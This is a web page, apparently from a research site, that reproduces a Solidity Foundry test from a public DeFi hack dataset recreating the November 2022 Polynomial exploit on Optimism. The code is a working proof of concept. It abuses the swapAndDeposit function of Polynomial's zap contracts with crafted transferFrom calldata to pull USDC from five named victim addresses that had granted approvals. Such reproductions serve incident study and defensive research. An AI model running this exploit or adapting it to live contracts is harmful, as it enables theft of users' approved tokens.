Public reproduction file
src/test/2022-11/Polynomial_exp.sol
Public reproduction file for dataset entry - Polynomial.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo -- Total Lost : ~1.4K USD8// TX : https://app.blocksec.com/explorer/tx/optimism/0x9f34ae044cbbf3f1603769dcd90163add48348dde7e1dda41817991935ebfa2f9// Attacker : https://optimistic.etherscan.io/address/0xcf8396010fb7e651f85a439dd7ebc0c8ab56b3f310// Attack Contract : https://optimistic.etherscan.io/address/0xf682e302f16c9509ffa133029ccf6de55f4e29a811// GUY : https://x.com/peckshield/status/160221600018717491212interface PolynomialZap {13 function swapAndDeposit(14 address user,15 address token,16 address depositToken,17 address swapTarget,18 address vault,19 uint256 amount,20 bytes memory swapData21 ) external payable;22}24contract ContractTest is Test {25 // Constants26 IERC20 private constant USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);27 IERC20 private constant WETH = IERC20(0x4200000000000000000000000000000000000006);28 IERC20 private constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);29 address private constant ETH_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);31 // State variables32 address private vuln = 0x00dD464dBA9fC0C20c4cC4D470E8Bf965788C150;33 PolynomialZap private zap = PolynomialZap(0xDEEB242E045e5827Edf526399bd13E7fFEba4281);34 PolynomialZap private zaps = PolynomialZap(0xB162f01C5BDA7a68292410aaA059E7Ce28D77c82);35 address private pool = 0x1D751bc1A723AccF1942122ca9aa82d49D08d2AE;37 // Victim addresses38 address[] private victims = [39 0x6467024Ef6247A94c8cf60D50715aE71B8B1dfBf,40 0x59022C79236A0F90bAc80b29357bc1d3e6d227d5,41 0xDa1521c966bc95324E156f4F04B28F2804985da5,42 0xfd47c9Ad54D12Caa895FabCD4f7F4308a5F24161,43 0x316c42Af89b913429DBe4a86f30373172340A82144 ];46 function setUp() public {47 vm.createSelectFork("optimism", 39_343_642);48 }50 function testExploit() public {51 attack();52 }54 function attack() public {55 for (uint256 i = 0; i < victims.length; i++) {56 executeSwapAndDeposit(victims[i]);57 }58 emit log_named_decimal_uint(59 "[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()60 );61 }63 function executeSwapAndDeposit(64 address victim65 ) internal {66 bytes memory data = encodeTransferData(victim);67 PolynomialZap zapContract = (victim == victims[0]) ? zap : zaps;69 zapContract.swapAndDeposit(victim, ETH_ADDRESS, address(this), address(USDC), address(this), 0, data);70 }72 function encodeTransferData(73 address victim74 ) internal view returns (bytes memory) {75 uint256 amount;76 if (victim == victims[0]) {77 amount = USDC.balanceOf(victim);78 } else if (victim == victims[1]) {79 amount = 10 * 1e6;80 } else {81 amount = USDC.allowance(victim, address(zaps));82 }83 return abi.encodeWithSelector(bytes4(0x23b872dd), victim, address(this), amount);84 }86 function balanceOf(87 address account88 ) public view returns (uint256) {89 return 1;90 }92 function approve(address spender, uint256 amount) public pure returns (bool) {93 return true;94 }96 function initiateDeposit(address _add, uint256 amount) external {}97}Analysis
Dataset entry
Public Foundry test for “- Polynomial” (2022-11-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
- src/test/2022-11/AUR_exp.solSame month in the dataset · 105 lines
- src/test/2022-11/BDEX_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
- src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
- src/test/2022-11/Kashi_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
- src/test/2022-11/MEV_0ad8_exp.solSame month in the dataset · 66 lines
- src/test/2022-11/MooCAKECTX_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/NUM_exp.solSame month in the dataset · 72 lines
- src/test/2022-11/SDAO_exp.solSame month in the dataset · 109 lines
- src/test/2022-11/SEAMAN_exp.solSame month in the dataset · 71 lines
- src/test/2022-11/SheepFarm_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/UEarnPool_exp.solSame month in the dataset · 131 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xcf8396010fb7e651f85a439dd7ebc0c8ab56b3f3
- Attack Contract
0xf682e302f16c9509ffa133029ccf6de55f4e29a8
File record
- Name
- Polynomial
- Path
- src/test/2022-11/Polynomial_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1edb7b125c4d95d15fa780b63443eceb6dea9be8
- Language
- Solidity
- Size
- 98 lines
- Date
- 2022-11-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-11/Polynomial_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1edb7b125c4d95d15fa780b63443eceb6dea9be8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.